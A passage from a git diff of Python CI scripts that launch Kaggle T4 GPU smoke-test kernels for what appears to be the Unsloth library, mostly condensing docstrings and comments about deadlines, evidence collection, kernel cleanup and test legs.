loops until it has- n bytes, which a slow trickle can stretch arbitrarily). ``sink`` streams- straight to disk, which also keeps a response nobody sized out of memory.- """+ """Read a response body under the ABSOLUTE deadline, not a socket timeout. ``urlopen(timeout=...)`` bounds each blocking socket operation, so a server that keeps trickling bytes renews it indefinitely and ``resp.read()`` runs past the evidence budget into the wall clock ``release()`` needs, with billable kernels still up. So: one chunk at a time, deadline re-checked before each, and ``read1`` so a chunk is at most ONE underlying socket read (``read(n)`` loops until it has n bytes, which a slow trickle can stretch arbitrarily). ``sink`` streams straight to disk, which also keeps a response nobody sized out of memory."""reader = getattr(resp, "read1", None) or resp.readchunks: list[bytes] = []while True:@@ -964,12 +628,7 @@ def list_outputs(timeout: int = 120,deadline: float | None = None,) -> dict:- """List a kernel's outputs, one page at a time, inside the budget.-- ``truncated`` says the listing is INCOMPLETE -- the page limit or the- evidence deadline stopped it -- so a caller can tell "Kaggle listed these- files" from "these are the files we got to before the clock ran out".- """+ """List a kernel's outputs, one page at a time, inside the budget. ``truncated`` says the listing is INCOMPLETE (the page limit or the evidence deadline stopped it), so a caller can tell "Kaggle listed these files" from "these are the files we got to before the clock ran out"."""deadline = _evidence_deadline(deadline)user, _, name = slug.partition("/")params = {"userName": user, "kernelSlug": name}@@ -993,8 +652,7 @@ def list_outputs(with urllib.request.urlopen(req, timeout = call_timeout) as resp:data = json.loads(_read_within(resp, deadline))except TimeoutError:- # The budget ran out mid-body. Same answer as running out between- # pages: stop, and say the listing is incomplete.+ # The budget ran out mid-body. Same answer as running out between pages: stop, and say the listing is incomplete._log(f"evidence budget spent while reading a page of {slug}")breakfiles.extend(f for f in data.get("files") or [] if f.get("fileName"))@@ -1008,13 +666,7 @@ def list_outputs(def _dest_name(file_name: str) -> str:- """Basename of a listed output, safe on every platform.-- Kaggle lists nested outputs with POSIX separators. Joining a listed name- onto the output directory unexamined would let ``../`` walk out of it, and- ``Path`` answers for the HOST rather than for the name, so peel POSIX first- and Windows second with both pure flavours.- """+ """Basename of a listed output, safe on every platform. Kaggle lists nested outputs with POSIX separators, so joining a listed name onto the output directory unexamined would let ``../`` walk out of it, and ``Path`` answers for the HOST rather than for the name: peel POSIX first and Windows second with both pure flavours."""name = PureWindowsPath(PurePosixPath(file_name).name).namereturn name or PurePosixPath(file_name).name@@ -1025,18 +677,7 @@ def fetch_evidence(timeout: int = 300,deadline: float | None = None,) -> dict:- """Pull the executed notebooks and the kernel log by direct URL.-- By direct URL rather than the bulk download: the bulk call returns the WHOLE- of /kaggle/working as one stream, and a previous incident lost two PASSING- notebooks because a multi-GB saved model sorted alphabetically ahead of them- and the stream broke partway through.-- ``deadline`` is the shared evidence budget (EVIDENCE_BUDGET_SEC), an- absolute ``time.time()`` value covering every kernel of the run. Nothing- starts after it and every call is clamped to what is left of it, so this- phase cannot eat the wall clock release() needs to delete the kernels.- """+ """Pull the executed notebooks and the kernel log by direct URL rather than the bulk download: the bulk call returns the WHOLE of /kaggle/working as one stream, and a previous incident lost two PASSING notebooks because a multi-GB saved model sorted alphabetically ahead of them and the stream broke partway through. ``deadline`` is the shared evidence budget (EVIDENCE_BUDGET_SEC), an absolute ``time.time()`` covering every kernel of the run, so this phase cannot eat the wall clock release() needs."""deadline = _evidence_deadline(deadline)outdir.mkdir(parents = True, exist_ok = True)listing = list_outputs(slug, timeout = min(timeout, 120), deadline = deadline)@@ -1048,8 +689,7 @@ def fetch_evidence(continueurl = entry.get("url") or entry.get("urlNullable")if not url:- # Listed but not downloadable is missing evidence: judged without- # it, a lost failing payload reads as whatever survived.+ # Listed but not downloadable is missing evidence: judged without it, a lost failing payload reads as whatever survived._log(f"{name} was listed without a download URL; evidence incomplete")truncated = Truecontinue@@ -1064,17 +704,12 @@ def fetch_evidence(req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-kaggle-t4-ci/1.0"})with urllib.request.urlopen(req, timeout = call_timeout) as resp, part.open("wb") as fh:_read_within(resp, deadline, sink = fh)- # Only publish once it parses: a download killed mid-write leaves a- # file of plausible size, which is evidence that looks present and- # is not.+ # Only publish once it parses: a download killed mid-write leaves a file of plausible size, which is evidence that looks present and is not.json.loads(part.read_text(encoding = "utf-8", errors = "replace"))part.replace(dest)fetched.append(dest.name)except Exception as exc: # noqa: BLE001- # A listed notebook that did not land is missing evidence, whether- # the budget ran out mid-body or the transfer failed, so the- # collection is incomplete and has to say so rather than read as a- # complete set that happens to be short.+ # A listed notebook that did not land is missing evidence, whether the budget ran out mid-body or the transfer failed, so the collection is incomplete and has to say so rather than read as a complete set that happens to be short._log(f"could not fetch {name}: {type(exc).__name__}")part.unlink(missing_ok = True)truncated = True@@ -1089,19 +724,7 @@ def fetch_evidence(def flatten_kernel_log(raw: str) -> str:- """A kernel log as flat text, whichever shape Kaggle returned it in.-- ``kernels/output`` returns the log as a JSON array of- ``{stream_name, time, data}`` records, whose boundaries are not line- boundaries. Scanning it as-is finds no line beginning with the report- prefix, so a payload whose executed notebook never came back -- the case- this fallback exists for -- read as no report and was downgraded to- ``infra``.-- ``report.kernel_log_text`` does the same for the summary; both are kept- because the two scripts are separate processes and neither imports the- other.- """+ """A kernel log as flat text, whichever shape Kaggle returned it in. ``kernels/output`` returns the log as a JSON array of ``{stream_name, time, data}`` records, whose boundaries are not line boundaries, so scanning it as-is finds no line beginning with the report prefix and a payload whose executed notebook never came back read as no report and was downgraded to ``infra``. ``report.kernel_log_text`` does the same for the summary; both are kept because the two scripts are separate processes and neither imports the other."""try:records = json.loads(raw)except ValueError:@@ -1112,12 +735,7 @@ def flatten_kernel_log(raw: str) -> str:def extract_reports(outdir: Path) -> list[dict]:- """Every T4_SMOKE_REPORT payload found in the collected evidence.-- Cell outputs of the executed notebooks first, flat kernel log second. The- notebook is the better source (one cell, unambiguous ownership), but the log- survives cases where the notebook never got written back.- """+ """Every T4_SMOKE_REPORT payload found in the collected evidence. Cell outputs of the executed notebooks first, flat kernel log second: the notebook is the better source (one cell, unambiguous ownership), but the log survives cases where the notebook never got written back."""reports: list[dict] = []seen: set[str] = set()@@ -1130,8 +748,7 @@ def extract_reports(outdir: Path) -> list[dict]:parsed = json.loads(blob)except json.JSONDecodeError:continue- # A report is an object; `.get` on anything else that parses raises- # out of the collector and wedges every later pass on this evidence.+ # A report is an object; `.get` on anything else that parses raises out of the collector and wedges every later pass on this evidence.if not isinstance(parsed, dict):continuekey = f"{parsed.get('label')}|{parsed.get('model')}"@@ -1140,17 +757,13 @@ def extract_reports(outdir: Path) -> list[dict]:seen.add(key)reports.append(parsed)- # rglob, not glob: each kernel collects into its own subdirectory so two- # cannot overwrite each other's kernel.log.+ # rglob, not glob: each kernel collects into its own subdirectory so two cannot overwrite each other's kernel.log.for nb_path in sorted(outdir.rglob(f"*{OUTPUT_SUFFIX}")):try:nb = json.loads(nb_path.read_text(encoding = "utf-8", errors = "replace"))except Exception: # noqa: BLE001continue- # Valid JSON is not necessarily a notebook, and one malformed file must- # not take its neighbours' reports with it: an exception here used to- # reach the collector, which then judged the kernel infra, posted- # success and released it, hiding a real failure behind a mangled file.+ # Valid JSON is not necessarily a notebook, and one malformed file must not take its neighbours' reports with it: an exception here used to reach the collector, which then judged the kernel infra, posted success and released it, hiding a real failure behind a mangled file.if not isinstance(nb, dict):continuefor cell in nb.get("cells") or []:@@ -1172,57 +785,30 @@ def extract_reports(outdir: Path) -> list[dict]:def _install_release_handlers(release: Callable[[], None]) -> None:- """Make release survive the ways this process actually dies.-- normal return / handled error finish() calls it directly- unhandled exception atexit- Ctrl-C, kill, Actions cancel the signal handlers here- kill -9 nothing in-process can; the orphan- sweep at the next launch reclaims it-- Before this, only the first row worked: `finish()` is reached only on- paths that RETURN, KeyboardInterrupt was re-raised past it, and the- default SIGTERM disposition exits without running atexit or finally. A- cancelled workflow therefore left its kernel running.- """+ """Make release survive the ways this process actually dies: finish() calls it on a normal return or handled error, atexit covers an unhandled exception, the signal handlers here cover Ctrl-C, kill and an Actions cancel, and nothing in-process can cover kill -9, where the orphan sweep at the next launch reclaims it. Before this, only the first worked: `finish()` is reached only on paths that RETURN, KeyboardInterrupt was re-raised past it, and the default SIGTERM disposition exits without running atexit or finally, so a cancelled workflow left its kernel running."""atexit.register(release)def _release_and_die(signum, _frame):- # First, and outside the try: from here on every _log in this process drops a- # line rather than stalling on a stdout nobody is draining. release() logs- # through the ordinary path -- delete_kernel() reports a refused delete that way- # -- and a stall there is a stall before the retry and before the `finally`.+ # First, and outside the try: from here on every _log in this process drops a line rather than stalling on a stdout nobody is draining. release() logs through the ordinary path, and a stall there is a stall before the retry and before the `finally`.global _IN_SIGNAL_HANDLER_IN_SIGNAL_HANDLER = True- # Everything before the `finally` is best effort. The death is not: a handler- # that returns normally leaves the process exiting on whatever code main()- # computes, and a cancelled job then reads as a completed one.+ # Everything before the `finally` is best effort. The death is not: a handler that returns normally leaves the process exiting on whatever code main() computes, and a cancelled job then reads as a completed one.try:_log_from_signal(f"received signal {signum}; deleting kernels before exiting")release()except BaseException as exc: # noqa: BLE001- # A raise here used to propagate into the main thread, where main()'s- # `except BaseException` caught it and finish() called release() again.- # A transient first failure (the observed one: an OSError from a- # subprocess spawn on a loaded runner) therefore ended in main- # RETURNING 0, and the cancelled job read as completed. Deleting is- # best effort, the exit status is not. Retried once, since the kernel- # is billing meanwhile.+ # A raise here used to propagate into the main thread, where main()'s `except BaseException` caught it and finish() called release() again, so a transient first failure (the observed one: an OSError from a subprocess spawn on a loaded runner) ended in main RETURNING 0 and the cancelled job read as completed. Deleting is best effort, the exit status is not. Retried once, since the kernel is billing meanwhile._log_from_signal(f"release() failed under signal {signum}: {type(exc).__name__}: {exc}")try:release()except BaseException as retry_exc: # noqa: BLE001- # Nothing more to try in-process: the slug stays in the registry- # for the next launch's orphan sweep, as after a kill -9.+ # Nothing more to try in-process: the slug stays in the registry for the next launch's orphan sweep, as after a kill -9._log_from_signal(f"release() failed again: {type(retry_exc).__name__}: {retry_exc}. "f"The kernels stay in the registry for the next launcher's sweep")finally:- # Die of the original signal rather than exiting 0, so the status- # still reads "killed by signal N". A CI system treats a 0 from a- # cancelled job as a completed one. In a `finally` because anything- # above can raise -- including the logging, which is how this was found.+ # Die of the original signal rather than exiting 0, so the status still reads "killed by signal N": a CI system treats a 0 from a cancelled job as a completed one. In a `finally` because anything above can raise, including the logging, which is how this was found.signal.signal(signum, signal.SIG_DFL)os.kill(os.getpid(), signum)@@ -1232,8 +818,7 @@ def _install_release_handlers(release: Callable[[], None]) -> None:try:signal.signal(_sig, _release_and_die)except (ValueError, OSError, AttributeError):- # No SIGHUP on Windows, and signal() only works on the main- # thread. One handler failing must not stop the others.+ # No SIGHUP on Windows, and signal() only works on the main thread. One handler failing must not stop the others.pass@@ -1246,13 +831,7 @@ def main() -> int:help = "kernel notebook to push. Repeatable: all of them ""are pushed before any of them is waited on",)- # NOT required, and not a constant. The owner is a property of the TOKEN- # this process was handed, and CI now hands it one of several. Passing the- # name is still allowed -- the caller that selected the account knows it --- # but it is CHECKED against the token rather than trusted, because the one- # failure worth catching here is a name and a credential that disagree: the- # push fails, or worse, the cleanup deletes under a name that owns nothing- # and the real kernel bills on unwatched.+ # NOT required, and not a constant: the owner is a property of the TOKEN this process was handed, and CI now hands it one of several. Passing the name is still allowed but is CHECKED against the token rather than trusted, because the failure worth catching is a name and a credential that disagree: the push fails, or worse, the cleanup deletes under a name that owns nothing and the real kernel bills on unwatched.ap.add_argument("--user",default = "",@@ -1315,22 +894,16 @@ def main() -> int:)args = ap.parse_args()- # A dispatched kernel is left running, which is exactly what --keep-kernel- # already means down to the registry bookkeeping. Reusing the flag rather- # than giving release() a second way not to delete: two conditions guarding- # one deletion is how one ends up wrong, and this one bills GPU quota.+ # A dispatched kernel is left running, which is exactly what --keep-kernel already means down to the registry bookkeeping. Reusing the flag rather than giving release() a second way not to delete: two conditions guarding one deletion is how one ends up wrong, and this one bills GPU quota.if args.dispatch:args.keep_kernel = True- # Refused rather than defaulted: a slug with no commit runs, costs quota- # and reports to nobody. A usage error at the only moment it is cheap.+ # Refused rather than defaulted: a slug with no commit runs, costs quota and reports to nobody. A usage error at the only moment it is cheap.if not args.commit_sha or not args.kind:ap.error("--dispatch requires --commit-sha and --kind: without both, the ""kernel runs and no collector can attribute its result")- # A commit, not a ref: `slug_name` carries only hex and falls back to- # the legacy unattributable form, so a branch or tag here bills and- # reports to nobody. The workflows resolve refs; this checks they did.+ # A commit, not a ref: `slug_name` carries only hex and falls back to the legacy unattributable form, so a branch or tag here bills and reports to nobody. The workflows resolve refs; this checks they did.if not re.fullmatch(r"[0-9a-fA-F]{12,40}", args.commit_sha.strip()):ap.error(f"--commit-sha must be a hex commit id (12 to 40 characters), got "@@ -1338,8 +911,7 @@ def main() -> int:"the kernel's result could never be attributed to a commit")- # Before the first network call, and globally: the Kaggle client has no- # per-call timeout of its own. See SOCKET_TIMEOUT_SEC.+ # Before the first network call, and globally: the Kaggle client has no per-call timeout of its own. See SOCKET_TIMEOUT_SEC.socket.setdefaulttimeout(SOCKET_TIMEOUT_SEC)outdir = Path(args.outdir)@@ -1353,25 +925,9 @@ def main() -> int:}def release() -> None:- """Delete every kernel this process pushed. Idempotent, and on every- path out of main().-- The budget control, not a tidy-up: a kernel left behind bills to its own- ceiling with nobody reading the result, and Kaggle's push-time timeout- has been observed not to stop one that wedged. Deleting a two-hour-old- stuck kernel took the account's used-hours figure DOWN.-- Every slug the push FILED is reconciled, not only the accepted one; see- ``_slugs_filed`` for the two ways an unaccepted slug can still be- running. A slug counts as released only once Kaggle CONFIRMS the delete- (see delete_kernel); anything else may still be billing, so it is named- in the log, in ``launch_result.json`` and in a workflow annotation- rather than quietly counted as cleaned up.- """+ """Delete every kernel this process pushed. Idempotent, and on every path out of main(). The budget control, not a tidy-up: a kernel left behind bills to its own ceiling with nobody reading the result, and Kaggle's push-time timeout has been observed not to stop one that wedged (deleting a two-hour-old stuck kernel took the account's used-hours figure DOWN). Every slug the push FILED is reconciled, not only the accepted one; see ``_slugs_filed``. A slug counts as released only once Kaggle CONFIRMS the delete, and anything else is named in the log, in ``launch_result.json`` and in a workflow annotation rather than quietly counted as cleaned up."""if args.keep_kernel:- # Flagged, not just skipped: the registry entry still names this- # process, and the next launcher would read a dead owner as an- # orphan and delete the very kernel the flag asked to keep.+ # Flagged, not just skipped: the registry entry still names this process, and the next launcher would read a dead owner as an orphan and delete the very kernel the flag asked to keep.for entry in result.get("kernels") or []:for slug in _slugs_filed(entry):_inflight_mark_kept(slug)@@ -1392,11 +948,7 @@ def main() -> int:entry["released"] = all(s in done for s in _slugs_filed(entry))result["unreleased"] = leakedif leaked:- # _write_line, not _log: the [launch] prefix would stop GitHub parsing- # this as an annotation. Not print: release() runs from the signal handler- # too, and this line is emitted on exactly the path where a kernel is still- # billing, so a raw write here blocks or raises before the handler can- # re-raise its signal.+ # _write_line, not _log: the [launch] prefix would stop GitHub parsing this as an annotation. Not print: release() runs from the signal handler too, and this line is emitted on exactly the path where a kernel is still billing, so a raw write here blocks or raises before the handler can re-raise its signal._write_line("::warning title=Kaggle kernels may still be running::"+ ", ".join(leaked)@@ -1404,8 +956,7 @@ def main() -> int:"quota until they hit their own ceiling. Delete them by hand.")- # From here on release() is reachable from a signal and from atexit too,- # not only from finish(): a cancelled workflow used to leave its kernel up.+ # From here on release() is reachable from a signal and from atexit too, not only from finish(): a cancelled workflow used to leave its kernel up._install_release_handlers(release)def finish(code: int = 0) -> int:@@ -1418,11 +969,7 @@ def main() -> int:return codedef window_fits(after: str) -> bool:- """Does the job's remaining wall clock still cover the worst case?-- Asked TWICE, because the answer expires: everything between the two- asks is time the guard already granted. See the two call sites.- """+ """Does the job's remaining wall clock still cover the worst case? Asked TWICE, because the answer expires: everything between the two asks is time the guard already granted."""if not args.deadline_epoch:return Trueneed = worst_case_seconds(args.max_wait, len(args.notebook), dispatch = args.dispatch)@@ -1444,28 +991,7 @@ def main() -> int:)return False- # BEFORE authentication and long before the first push: the one question- # that has to be answered while the answer can still be acted on.- #- # The caller (the workflow job) is killed at a fixed time, and killing it- # takes finish() -> release() with it: GitHub sends SIGINT to the step's- # entry process and kills the process tree about ten seconds later- # ("Canceling a workflow", docs.github.com), which is not a window in which- # DELETE_ATTEMPTS retries against a slow Kaggle can finish. A kernel nobody- # deletes bills accelerator quota to its own ceiling with nobody reading the- # result, so the only safe moment to notice that the window has gone is- # before anything is pushed.- #- # Nothing bounds the steps that run BEFORE this one -- a checkout, a pip- # install off a slow index, the harness suite -- so "the job deadline sits- # above the worst case with room for setup" is an assumption about their- # duration rather than a property of the run. This measures what is left- # instead, against the same worst case the job deadline and the reserved- # quota are derived from.- #- # Standing down green is the answer the workflow's FAILURE SEMANTICS give- # every infrastructure outcome: nothing was learned about the code, and no- # quota was spent finding that out.+ # BEFORE authentication and long before the first push: the one question that has to be answered while the answer can still be acted on. The caller (the workflow job) is killed at a fixed time, and killing it takes finish() -> release() with it, since GitHub sends SIGINT to the step's entry process and kills the process tree about ten seconds later, which is not a window in which DELETE_ATTEMPTS retries against a slow Kaggle can finish. Nothing bounds the steps that run BEFORE this one, so "the job deadline sits above the worst case with room for setup" is an assumption about their duration rather than a property of the run; this measures what is left instead. Standing down green is the answer the workflow's failure semantics give every infrastructure outcome: nothing was learned about the code, and no quota was spent finding that out.if not window_fits("after the setup steps"):return finish()@@ -1477,17 +1003,7 @@ def main() -> int:result["reason"] = f"kaggle auth failed: {type(exc).__name__}"return finish()- # WHO this token is, settled before anything is pushed and read off the- # client just authenticated. CI holds more than one account now, and both- # ways to get this wrong are silent: a name the token does not own makes- # every push fail for a reason that reads like a bad notebook, and a name- # belonging to the OTHER account makes the cleanup delete nothing while the- # kernel it filed bills on unwatched.- #- # Answered through finish() rather than a bare return, so this stand-down- # still writes launch_result.json -- the report step reads that file, and a- # launcher that exits without one is indistinguishable from a runner that- # died, which is the wrong story for a configuration error.+ # WHO this token is, settled before anything is pushed and read off the client just authenticated. CI holds more than one account now, and both ways to get this wrong are silent: a name the token does not own makes every push fail for a reason that reads like a bad notebook, and a name belonging to the OTHER account makes the cleanup delete nothing while the kernel it filed bills on unwatched. Answered through finish() rather than a bare return, so this stand-down still writes launch_result.json, which the report step reads.owner = username_of(api)if not owner:result["reason"] = "could not determine which Kaggle account this token belongs to"@@ -1502,69 +1018,28 @@ def main() -> int:args.user = owner_log(f"authenticated as {owner}")- # Reclaim anything a previous launcher was killed outright before it- # could delete. Done BEFORE pushing, so the freed session slots are- # available to this run -- Kaggle allows only two GPU sessions at once,- # and an orphan holds one until its ceiling.+ # Reclaim anything a previous launcher was killed outright before it could delete. Done BEFORE pushing, so the freed session slots are available to this run: Kaggle allows only two GPU sessions at once, and an orphan holds one until its ceiling.for _slug in sweep_orphans(owner):_log(f"reclaimed orphaned kernel {_slug} from a killed launcher")- # AGAIN, now that authentication is paid for and the next thing is a push.- # The check above is not enough on its own: authenticate() reaches the- # network -- with KAGGLE_API_TOKEN, which is the only credential this- # workflow passes, kaggle 2.2.4 introspects the token over HTTP -- and its- # only bound is SOCKET_TIMEOUT_SEC. A window that fitted by less than that- # is gone by the time the first kernel is pushed, and the guard would have- # granted the push on an answer that had expired.+ # AGAIN, now that authentication is paid for and the next thing is a push. The check above is not enough on its own: authenticate() reaches the network (with KAGGLE_API_TOKEN, kaggle 2.2.4 introspects the token over HTTP) and its only bound is SOCKET_TIMEOUT_SEC, so a window that fitted by less than that is gone by the time the first kernel is pushed.if not window_fits("after authenticating"):return finish()- # ANY unforeseen exception from here on still has to delete the kernels.- # Everything below may have pushed one already, and a kernel this process- # does not delete bills to its own ceiling with nobody reading it (Kaggle's- # push-time timeout has been measured not to stop a wedged one, and nothing- # in the workflow cleans up after this script). Letting an exception out- # costs GPU quota, not just a report.+ # ANY unforeseen exception from here on still has to delete the kernels. Everything below may have pushed one already, and a kernel this process does not delete bills to its own ceiling with nobody reading it (Kaggle's push-time timeout has been measured not to stop a wedged one, and nothing in the workflow cleans up after this script).try:- # ONE deadline for the whole invocation, started BEFORE the first push.- # A kernel bills from the moment Kaggle accepts it, so the clock that- # decides when it is deleted must include the time spent pushing the- # others. Started after the push loop instead, a throttled second push- # (PUSH_ATTEMPTS attempts at the 600s subprocess ceiling plus backoffs,- # about 45 minutes) landed on top of --max-wait for the kernel already- # accepted: 135 minutes of billing against a ceiling that reads as 90.- # Kaggle's push-time timeout does not cover that gap either (see this- # file's docstring for the kernel that ignored it for two hours), so the- # deletion deadline is the only bound there is.+ # ONE deadline for the whole invocation, started BEFORE the first push. A kernel bills from the moment Kaggle accepts it, so the clock that decides when it is deleted must include the time spent pushing the others: started after the push loop instead, a throttled second push (about 45 minutes) landed on top of --max-wait for the kernel already accepted, 135 minutes of billing against a ceiling that reads as 90. Kaggle's push-time timeout does not cover that gap either, so the deletion deadline is the only bound there is.deadline = time.time() + args.max_wait- # Push everything first. See this file's docstring: waiting between- # pushes would serialise sessions Kaggle runs happily in parallel and put- # an hour between the control leg and the canary leg.+ # Push everything first. See this file's docstring: waiting between pushes would serialise sessions Kaggle runs happily in parallel and put an hour between the control leg and the canary leg.kernels: list[dict] = []- # Published BEFORE the loop, as the same list object throughout.- # release() reads result["kernels"], so a push that dies part-way (the- # subprocess timeout above used to) must not leave the entries already- # filed invisible to the cleanup.+ # Published BEFORE the loop, as the same list object throughout. release() reads result["kernels"], so a push that dies part-way must not leave the entries already filed invisible to the cleanup.result["kernels"] = kernelsfor notebook in args.notebook:_log(f"pushing {notebook} (kernel ceiling {args.kernel_timeout_sec}s)")entry = {"notebook": notebook,"slug": None,- # Every slug filed, accepted or not: a push that reported an- # error may still have landed, and this is the only record of- # what to reconcile against the account afterwards.- #- # Published EMPTY, before the push, and filled by push() as it- # files each slug. Reading the returned list instead meant the- # entry existed only if push() RETURNED: an exception it does- # not handle (a decode error on a malformed response, an OSError- # from the runner) unwound past this line, so release() found no- # entry for this notebook and the kernel Kaggle may have just- # accepted was left billing. The per-notebook granularity below- # was already fixed for the same reason; this is the same bug one- # level down, and the list being the caller's own object is what- # closes it for every raise rather than for the ones foreseen.+ # Every slug filed, accepted or not: a push that reported an error may still have landed, and this is the only record of what to reconcile against the account afterwards. Published EMPTY, before the push, and filled by push() as it files each slug: reading the returned list instead meant the entry existed only if push() RETURNED, so an exception it does not handle unwound past this line and the kernel Kaggle may have just accepted was left billing. The list being the caller's own object is what closes that for every raise rather than for the ones foreseen."attempted": [],"state": None,"push_error": None,@@ -1592,13 +1067,10 @@ def main() -> int:if not live:result["reason"] = "; ".join(k["push_error"] for k in kernels if k["push_error"])return finish()- # Kept for the summary and for anything reading this file's previous- # single-kernel shape.+ # Kept for the summary and for anything reading this file's previous single-kernel shape.result["slug"] = live[0]["slug"]- # DISPATCH MODE ENDS HERE. `dispatched` is deliberately NOT `pass`: all- # this job proved is that Kaggle accepted a push. The real verdict comes- # later from collect.py as a commit status on the sha in the slug.+ # DISPATCH MODE ENDS HERE. `dispatched` is deliberately NOT `pass`: all this job proved is that Kaggle accepted a push, and the real verdict comes later from collect.py as a commit status on the sha in the slug.if args.dispatch:result["verdict"] = "dispatched"result["dispatched"] = [{"slug": k["slug"], "notebook": k["notebook"]} for k in live]@@ -1612,25 +1084,17 @@ def main() -> int:)return finish()- # The deadline above is shared, not one per kernel: they run- # concurrently, so consuming the ceiling per kernel would let a- # two-kernel run wait twice its own stated bound.+ # The deadline above is shared, not one per kernel: they run concurrently, so consuming the ceiling per kernel would let a two-kernel run wait twice its own stated bound.for entry in live:remaining = max(0, int(deadline - time.time()))entry["state"] = wait(api, entry["slug"], args.poll_every, remaining)_log(f"{entry['slug']} terminal state: {entry['state']}")result["kernel_state"] = ",".join(k["state"] or "?" for k in live)- # ONE budget for the whole phase, shared by every kernel and started- # here, for the same reason the polling deadline is shared: the kernels- # are still billing and release() has not run yet. Per kernel it would- # scale with the kernel count, which is what the job deadline could not- # then be derived from. See EVIDENCE_BUDGET_SEC.+ # ONE budget for the whole phase, shared by every kernel and started here, for the same reason the polling deadline is shared: the kernels are still billing and release() has not run yet. Per kernel it would scale with the kernel count, which is what the job deadline could not then be derived from. See EVIDENCE_BUDGET_SEC.evidence_deadline = time.time() + EVIDENCE_BUDGET_SECfor entry in live:- # One directory per kernel: Kaggle names the executed notebooks- # after the payloads, so two kernels of a run would otherwise- # overwrite each other's kernel.log.+ # One directory per kernel: Kaggle names the executed notebooks after the payloads, so two kernels of a run would otherwise overwrite each other's kernel.log.try:entry["evidence"] = fetch_evidence(entry["slug"],@@ -1654,10 +1118,7 @@ def main() -> int:)return finish()- # A kernel that ended badly but still reported is worth reading: the- # payload deliberately does not propagate a nonzero exit, so ERROR here- # usually means the SESSION died (timeout, box OOM, Kaggle side), which- # is infra unless a report says otherwise.+ # A kernel that ended badly but still reported is worth reading: the payload deliberately does not propagate a nonzero exit, so ERROR here usually means the SESSION died (timeout, box OOM, Kaggle side), which is infra unless a report says otherwise.failing = [r for r in reports if not r.get("passed")]if failing:result["verdict"] = "fail"@@ -1678,10 +1139,7 @@ def main() -> int:# The kernels are released by finish(), on this path and on every other.return finish()except BaseException as exc: # noqa: BLE001- # An abort is infra by this file's contract: nothing was learned about- # the code under test, so it must not colour the pull request red.- # finish() deletes every slug filed so far and still writes- # launch_result.json, which the summary and the artifact read.+ # An abort is infra by this file's contract: nothing was learned about the code under test, so it must not colour the pull request red. finish() deletes every slug filed so far and still writes launch_result.json.result["verdict"] = "infra"result["reason"] = (f"the launcher aborted: {type(exc).__name__}: {str(exc)[:300]}. "diff --git a/.github/scripts/kaggle_t4_ci/legs.py b/.github/scripts/kaggle_t4_ci/legs.pyindex f0cda2a2c86..1861f768f95 100644--- a/.github/scripts/kaggle_t4_ci/legs.py+++ b/.github/scripts/kaggle_t4_ci/legs.py@@ -3,39 +3,13 @@"""The payloads this CI can run, and what each one is FOR.-A Kaggle session is 2xT4 and the account allows 2 concurrent batch kernels, so-the ceiling is four payloads at once, and this is the registry of what those-four are. Each entry is a *leg*: an install recipe, a script and its arguments.-`build_kernel.py` turns a list of legs into kernel notebooks; nothing else here-knows what a leg contains.+A Kaggle session is 2xT4 and the account allows 2 concurrent batch kernels, so four payloads at once is the ceiling. Each entry is a *leg*: an install recipe, a script and its arguments; `build_kernel.py` turns a list of legs into kernel notebooks.-**control** and **canary** are a matched pair and the core of the design: the-SAME payload, seed, dataset and step count on the same card, differing only in-the transformers/trl/peft/accelerate/bitsandbytes versions installed. Control-pins them (tests/kaggle/t4_smoke/pins/control.txt); canary takes the newest-release of each that Unsloth's declared constraints allow. Either leg failing-alone says something specific:+**control** and **canary** are a matched pair: the SAME payload, seed, dataset and step count on the same card, differing only in the transformers/trl/peft/accelerate/bitsandbytes versions. Control pins them (tests/kaggle/t4_smoke/pins/control.txt); canary takes the newest release Unsloth's declared constraints allow. Canary red with control green means a library RELEASE broke Unsloth, and the canary's report names every resolved version; both red means the base image, the model download, Kaggle or Unsloth's own code; control red with canary green means the pins no longer resolve. All three readings break at once if the legs differ in anything but versions, which is why `--smoke-args` and the reference are shared rather than per leg.-* canary red, control green -> a library RELEASE broke Unsloth, and the- canary's report names every resolved version, so the bisect is a diff of two- reports rather than an investigation.-* both red -> not a version bump: the base image, the model download, the- Kaggle side, or Unsloth's own code.-* control red, canary green -> the pins no longer resolve, a maintenance signal- for the pin file rather than a regression.+**gptoss** covers `torch.compile` and the forced-float32 path (gpt-oss is in FORCE_FLOAT32 precisely because this card has no bf16). **grpo** covers vLLM, which `fast_inference=True` puts on the same 16GB card as the training loop.-All three readings break at once if the legs differ in anything but versions,-which is why `--smoke-args` and the reference are shared rather than per leg.--**gptoss** covers `torch.compile` and the forced-float32 path: gpt-oss is in-Unsloth's FORCE_FLOAT32 list precisely because this card has no bf16, and-nothing else in CI exercises it. **grpo** covers vLLM, which-`fast_inference=True` puts on the same 16GB card as the training loop, and-whose sm_75 support is a version-by-version question.--To add a leg, append an entry and name it in a `KERNELS` kernel. The tests in-tests/kaggle/test_t4_smoke_harness.py build every leg and parse every generated-cell, so a leg that cannot produce valid Python never reaches Kaggle.+To add a leg, append an entry and name it in a `KERNELS` kernel. tests/kaggle/test_t4_smoke_harness.py builds every leg and parses every generated cell, so a leg that cannot produce valid Python never reaches Kaggle."""from __future__ import annotations@@ -43,18 +17,13 @@ from __future__ import annotationsfrom dataclasses import dataclass, fieldfrom pathlib import Path-# Placeholders substituted at build time from --unsloth-ref / --zoo-ref.ZOO = "unsloth_zoo @ git+https://github.com/unslothai/unsloth-zoo@{zoo_ref}"UNSLOTH = "unsloth @ git+https://github.com/unslothai/unsloth@{unsloth_ref}"-# Expands to a pin file's contents, one requirement per argument. Expanded at-# BUILD time, not read on the kernel, so the generated notebook states the-# versions it will install and the tests can read them without executing it.+# Expands to a pin file's contents, one requirement per argument, at BUILD time so the generated notebook states the versions it will install and the tests can read them without executing it.PINS = "@PINS:{file}"-# What the canary upgrades. Named explicitly rather than "--upgrade-# everything", which would move torch and the CUDA stack too: a leg that-# changes ten things at once cannot attribute a failure to any of them.+# What the canary upgrades. Named explicitly rather than "--upgrade everything", which would move torch and the CUDA stack too: a leg that changes ten things at once cannot attribute a failure to any of them.CANARY_UPGRADES = ("transformers", "trl", "peft", "accelerate", "bitsandbytes")@@ -64,13 +33,10 @@ class Leg:name: strsummary: str- # pip argument groups, run in order. Each group is one `pip install`.install: tuple[tuple[str, ...], ...]entry: strargs: tuple[str, ...] = ()- # Files copied verbatim from the payload directory into the notebook.files: tuple[str, ...] = ()- # Modules the fail-fast probe imports before spending the session.imports: tuple[str, ...] = ("torch","transformers",@@ -81,164 +47,42 @@ class Leg:"unsloth","unsloth_zoo",)- # Measured peak_reserved_gb on a Tesla T4, from the executed payload- 